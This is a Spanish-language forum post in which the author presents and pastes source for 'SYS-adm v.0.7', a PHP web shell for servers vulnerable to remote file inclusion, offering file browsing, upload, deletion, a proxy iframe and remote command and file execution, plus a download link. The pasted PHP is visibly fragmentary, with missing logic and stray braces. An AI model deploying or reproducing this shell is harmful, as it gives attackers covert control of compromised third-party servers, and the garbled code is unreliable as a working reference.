SYS-adm v.0.7 - shell php
despues de un time pensando si presentarme o no, voy a probar a ver que tal....
presento un pequeño script para poder llevar a cabo algunas acciones de forma remota en un server vulnerable tipo RFI....
-> Sobre el script
tiene distintas funcionalidades, como son:
[+] informacion sobre el server remoto (tipo de OS, estado del safemode, usuario....)
[+] un pequeño "proxy" interno (permite navegar de forma remota utilizando el script, se tiene que indicar el tipo de protocolo ya sea http o ftp)
[+] listado de directorios (pues eso, lista los directorios por donde nos podemos mover)
[+] navegacion por directorios, descarga y/o eliminacion de archivos (permite moverse por los distintos directorios que hay, como tambien la descarga o eliminacion de un archivo)
[+] subida de archivos
[+] creacion y/o eliminacion de un directorio (se muestra en una caja de texto la ruta actual donde nos encontramos)
[+] permite la ejecucion de comandos como tambien de ficheros
-> problemas
de los problemas que hay, el que mas problemas da es el tema del usuario y permisos que este posee.
en el momento de crear directorios, eliminar directorios/archivos, ejecutar comandos y archivos (aunque en algunos apartados se muestran avisos si hay activo el safemode y se alerta sobre el tema de los permisos) no lo permite o se puede ver que no hace la accion que se le dice.
otro problema esta en el momento de descargar los archivos, el nombre que da a dicho archivo suele ser la ruta completa hacia este y con el caracter [_] de separador (por ejemplo en un OS win$ hay un archivo a descargar en C:\asdf.exe lo muestra como "C__asdf.exe"), pero permite descargarlos (en alguna ocasion quita la extension del archivo, pero con ponersela cuando lo tenemos descargado funciona).
cuando se elimina un directorio se tiene que encontrar vacio, otro problema
tambien en el momento de subir un archivo, lo sube en el directorio donde se encuentra el script en lugar de hacerlo en el actual donde estamos O.o
-> source
Código
<?php #modificamos el time final de ejecucion del script #si hemos seleccionado el boton para descarga.... #descargamos el fichero que hemos seleccionado } #borramos el fichero que hemos seleccionado } } #ejecutamos el archivo segun lo que haya introducido el usuario } } #variable que se utilizara para ver en que OS nos encontramos /****************************************************************/ #estilos css aplicados en la shell echo '<style type="text/css">'; echo 'body{color: #FFFFFF;background-color: #000000;font-family: Courier New;}'; echo 'a{color: #FF0000;text-decoration: none;}'; echo 'a:hover{color: #00FF00;text-decoration: underline overline;}'; echo 'input{color: #FFFFFF;background-color: #000000;border: 1px solid #FF0000;}'; echo '#header{margin-bottom: 5px;margin-left: 20px;margin-right :20px;border-left: 2px dashed #00FF00;border-right: 2px dashed #00FF00;border-bottom: 2px dashed #00FF00;padding: 5px;background-color: #222222;text-align: center;}'; echo 'iframe{margin: 5px;}'; echo '#proxy{border-left: 1px solid #FF0000;border-right: 1px solid #FF0000;border-bottom: 1px solid #FF0000;background-color: #333333;padding: 5px;margin-left: 5px;margin-right: 5px;margin-bottom: 5px;text-align: center;}'; echo '#info{border: 1px solid #FF0000;background-color: #333333;padding: 5px;margin: 5px;text-align: center;}'; echo '.title{border-top: 1px solid #FF0000;border-left: 1px solid #FF0000;border-right: 1px solid #FF0000;background-color: #333333;padding: 5px;margin-top: 5px;margin-left: 5px;margin-right: 5px;text-align: center;}'; echo '#list{border-bottom: 1px solid #FF0000;border-left: 1px solid #FF0000;border-right: 1px solid #FF0000;background-color: #333333;padding: 5px;padding-left: 20px;margin-bottom: 5px;margin-left: 5px;margin-right: 5px;}'; echo '#list td{vertical-align: top;}'; echo '#list a{color: #77FF77;text-decoration: none;}'; echo '#list a:hover{color: #00FF00;text-decoration: underline overline;}'; echo '#footer{border: 1px solid #FF0000;background-color: #333333;padding: 5px;margin: 5px;text-align: center;}'; echo '.time{position: right;}'; echo '</style>'; /****************************************************************/ #subimos ficheros en el servidor move_uploaded_file($_FILES['file']['tmp_name'],$dest.'/'.$_FILES['file']['name']); //movemos el archivo del directorio temporal al directorio final donde nos encontramos actualmente ejecutando el script } #recuperamos la url que ha introducido el usuario y lo añadimos en el proxy $url = $_POST['url']; } #recuperamos el directorio actual que enviamos por parametro }else{ //obtenemos el directorio actual y mostramos la lista } #funcion para mostrar los permisos de cada fichero y directorio (reutilizada manual oficial) function permissions($perms){ if (($perms & 0xC000) == 0xC000) {// Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) {// Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) {// Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) {// Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) {// Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) {// Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) {// FIFO pipe $info = 'p'; } else {// Unknown $info = 'U'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } #creamos el nuevo directorio que el usuario a introducido o lo eliminamos } } } /****************************************************************/ #estructura de la pagina web que mostraremos al usuario echo '<html>'; echo '<head>'; #titulo de la pagina echo '<title>.: SYS-adm v.0.7 :: c0d3-l4bs :.</title>'; echo '</head>'; /*********************************************************/ /**************parte central de la pagina*****************/ /*********************************************************/ echo '<body>'; echo '<div id="header">'; # header con el logo echo '8""""8 8 8 8""""8 <b>v.0.7 [<a href="http://c0d3-l4bs.blogspot.com">c0d3-l4bs</a>]</b><br />'; echo '8 8 8 8 eeeee eeeee eeeeeee <br />'; echo '8eeeee 8eeee8 8eeeee 8 8 8 8 8 8 8 <br />'; echo ' 88 88 88 eeee 8eee8 8e 8 8e 8 8 <br />'; echo 'e 88 88 e 88 88 8 88 8 88 8 8 <br />'; echo '8eee88 88 8eee88 88 8 88ee8 88 8 8 '; echo ''; echo '</div>'; echo '<div id="info">'; //div principal que contendra toda la informacion perteneciente al server remoto echo '-> <b>Server Info</b> <-<br /><br />'; if($OS == 'win'){ //si el OS es un sistema win$ $chr = '\\'; echo ' Computer Name -> <b><u>'.getenv('computername').'</u></b><br />'; //nombre del pc donde nos encontramos echo 'Software -> <b><u>'.getenv('server_software').'</u></b><br />'; //software utilizado en el servidor remoto #comprobamos si el safemode esta activo o no en el sistema $sfmod = '<b><u><font color="#FF0000">[ON]</font></u></b>'; }else{ $sfmod = '<b><u><font color="#00FF00">[OFF]</font></u></b>'; } /***********************************************************************/ echo 'Safe mode -> '.$sfmod.' Document root -> <b><u>'.getenv('document_root').'</u></b><br />'; //modo seguro del php y directorio del apache }else{ //OS unix like - gnu/linux $chr = '/'; //caracter utilizado en el momento de mostrar rutas y demas echo 'User name -> <b><u>'.$inf['name'].'</u></b> Profile -> <b><u>'.$inf['dir'].'</u></b><br />'; //nombre de usuario en el que estamos y el perfil echo 'Software -> <b><u>'.getenv('server_software').'</u></b><br />'; //software utilizado en el servidor remoto #lo mismo que anteriormente, comprobamos si esta on o off el safemode $sfmod = '<b><u><font color="#FF0000">[ON]</font></u></b>'; }else{ $sfmod = '<b><u><font color="#00FF00">[OFF]</font></u></b>'; } /**************************************************************************/ echo 'Safe mode -> '.$sfmod.' Document root -> <b><u>'.getenv('document_root').'</u></b><br />'; //modo seguro del php y directorio del apache } echo '</div>'; //fin del div que contiene la informacion /***************************************************************************/ /***************************************************************************/ #apartado donde se utilizara el "proxy" de la shell echo '<div class="title">'; echo '-> <b>SYS-adm Proxy</b> <-<br /><br />'; echo '[NOTE -> add http:// or ftp:// to specify protocol]'; echo '</div>'; echo '<div id="proxy">'; #formulario para el envio de enlaces al "proxy" de la shell echo '<form action="" method="post">'; echo '<input type="text" name="url" size="100" /> '; echo '<input type="submit" value="Browse" />'; echo '</form>'; echo '<form action="" method="post">'; echo '<input type="text" name="url" size="100" value="'.$url.'" /> '; echo '<input type="submit" value="Browse" />'; echo '</form>'; #mostramos la url que nos envia el usuario en el formulario echo ' <iframe src="'.$url.'" width="95%" height="500" scrolling="auto">'; #en caso de no tener operativo los iframes el navegador.... echo ' <p><font color="#FF0000">This browser can\'t support iframes!!</font></p>'; echo ' </iframe>'; } echo '</div>'; //fin del apartado de "proxy" /************************************************************************/ #apartado donde mostraremos el listado de directorio echo '<div>'; echo '<div class="title">'; echo '-> <b>Directory List</b> <-<br /><br />'; echo '</div>'; echo '<div id="list">'; echo '<b>'.$dir.'</b> '; echo '<font color="#BB8800">[<b>'.permissions(fileperms($dir)).'</b>]</font>'; //mostramos los permisos del directorio actual echo '<br />'; //tabla donde se muestran los distintos apartados, primeramente los titulos echo '<table width="100%">'; echo '<tr>'; echo '<td width="35%">'; echo '<b>Name</b>'; echo '</td>'; echo '<td align="center" width="15%">'; echo '<b>Size</b>'; echo '</td>'; echo '<td align="center" width="15%">'; echo '<b>Last modified</b>'; echo '</td>'; echo '<td align="center" width="15%">'; echo '<b>Permissions</b>'; echo '</td>'; echo '<td width="20%">'; echo '<b>File actions</b>'; echo '</td>'; echo '</tr>'; #mostramos los distintos files/directories como la info sobre su "size", permisos.... echo '<tr><td class="files">'; echo '</td>'; echo '<td align="right">'; echo '<font color="#7777FF">['.filetype($elem).']</font>'; //tipo de file (en este caso son directorios primero) echo '</td>'; echo '<td align="right">'; echo '</td>'; echo '<td align="center">'; echo '<font color="#BB8800"><b>'.permissions(fileperms($elem)).'</b></font>'; //permisos de dicho dir echo '</td>'; echo '</tr>'; }else{ $files[] = $elem; } } echo '<tr><td>'; echo '<font color="#77FF77">'.$files[$x].'</font>'; echo '</td>'; echo '<td align="right">'; #mostramos el size del archivo, si es excesivo mostramos un aviso echo '<font color="#BB8800"> filesize > 4</font><font color="#FF0000"> GB</font>'; }else{ echo '<font color="#BB8800">'.number_format((filesize($files[$x])/1024),3).'</font><font color="#FF0000"> KB</font>'; } echo '</td>'; echo '<td align="right">'; echo '</td>'; echo '<td align="center">'; echo '<font color="#BB8800"><b>'.permissions(fileperms($files[$x])).'</b></font>'; //permisos del archivo echo '</td>'; echo '<td>'; echo '<form action="'.$_SERVER['PHP_SELF'].'" method="post">'; echo '<input type="hidden" name="file" value="'.$dir.$chr.$files[$x].'" />';//campo oculto echo '<input type="submit" name="down" value="Download" /> '; echo '<input type="submit" name="delete" value="Remove" />'; echo '</form>'; echo '</td>'; echo '</tr>'; } } } echo '</table>'; //terminamos la tabla echo '</div>'; echo '</div>'; //final del apartado de listado de directorios #apartado para la subida de archivos echo '<div id="info">'; echo '-> <b>File manager</b> <-<br /><br />'; echo '<table align="center" size="75%">'; echo '<tr><td colspan="3" align="center">'; //formulario para el envio de archivos echo '<form action="./'.basename($_SERVER['PHP_SELF']).'" method="post" enctype="multipart/form-data">'; echo '<input type="file" name="file" /> '; echo '<input type="submit" name="submit" value="upload" />'; echo '</form>'; echo '</td></tr>'; //formulario para la creacion de directorios o su eliminacion echo '<tr>'; echo '<td>'; echo '<input type="text" size="100%" name="direct" value="'.$dir.$chr.'" />'; //mostramos la ruta actual echo '</td>'; echo '<td> </td>'; echo '<td>'; echo '<input type="submit" name="create" value="Create Directory" /> '; echo '<input type="submit" name="drop" value="Delete Directory" />'; echo '</td>'; echo '</tr>'; echo '<tr><td> </td></tr>'; echo '</form>'; echo '</table>'; echo 'NOTE -> to delete any directory, this must be empty and to do different actions, alert with permissions'; echo '</div>'; #final del apartado de subida de archivos modificacion de directorios #apartado para la ejecucion de comandos o archivos echo '<div id="info">'; echo '-> <b>Process Manager</b> <-'; echo '<br /><br />'; #mostramos el resultado de la ejecucion de un comando si se ha enviado anteriormente } } #permitimos la ejecucion de comandos y/o archivos en caso de estar inactivo el safe mode if($OS == 'win'){ //sistema win$ #mostramos los procesos en caso de estar inactivo echo '<table align="center">'; echo '<tr><td>'; echo '<input type="text" size="50" name="strg_com" /> '; echo '<input type="submit" name="exe" value="Execute command" />'; //apartado para la ejecucion de un comando echo '</td></tr>'; echo '<br /><br />'; echo '<tr><td>'; echo '<input type="text" size="50" name="strg_file" value="'.$dir.$chr.'" /> '; echo '<input type="submit" name="exefile" value="Execute file" />'; //apartado para la ejecucion de un archivo echo '</tr></td>'; echo '</form>'; echo '</table>'; }else{ #mostramos una alerta en caso de estar activo echo '<font color="#FF0000">Alert, safe mode is active...</font>'; echo '<br />'; } }else{ //gnu/linux - unix like, lo mismo que el apartado anterior #mostramos los procesos en caso de estar inactivo echo '<table align="center">'; echo '<tr><td>'; echo '<input type="text" size="50" name="strg_com" /> '; echo '<input type="submit" name="exe" value="Execute command" />'; //para los comandos echo '</td></tr>'; echo '<br /><br />'; echo '<tr><td>'; echo '<input type="text" size="50" name="strg_file" value="'.$dir.$chr.'" /> '; echo '<input type="submit" name="exefile" value="Execute file" />'; //para los archivos echo '</tr></td>'; echo '</form>'; echo '</table>'; echo 'NOTE -> Alert with user permissions'; echo '<br />'; }else{ #mostramos una alerta en caso de estar activo la proteccion echo '<font color="#FF0000">Alert, safe mode is active...</font>'; echo '<br />'; } } echo '<br />'; echo '</div>'; #pie de pagina, donde mostramos la hora y demas echo '<div id="footer">'; echo '</div>'; echo '</body>'; /*********************************************************/ /********terminamos la parte central de la pagina*********/ /*********************************************************/ echo '</html>'; //final de la pagina/shell ?>
en el codigo hay comentarios en los distintos apartados para que se pueda ver que se hace en cada uno de los apartados.
se han hecho pruebas y funciona en php5
en el siguiente enlace se puede descargar:
http://www.megaupload.com/?d=J95A6WF0
pequeña captura:
se van haciendo modificaciones para su mejora y demas, si hay algun comentario, mejoras y demas criticas comenten.
nos leemos :P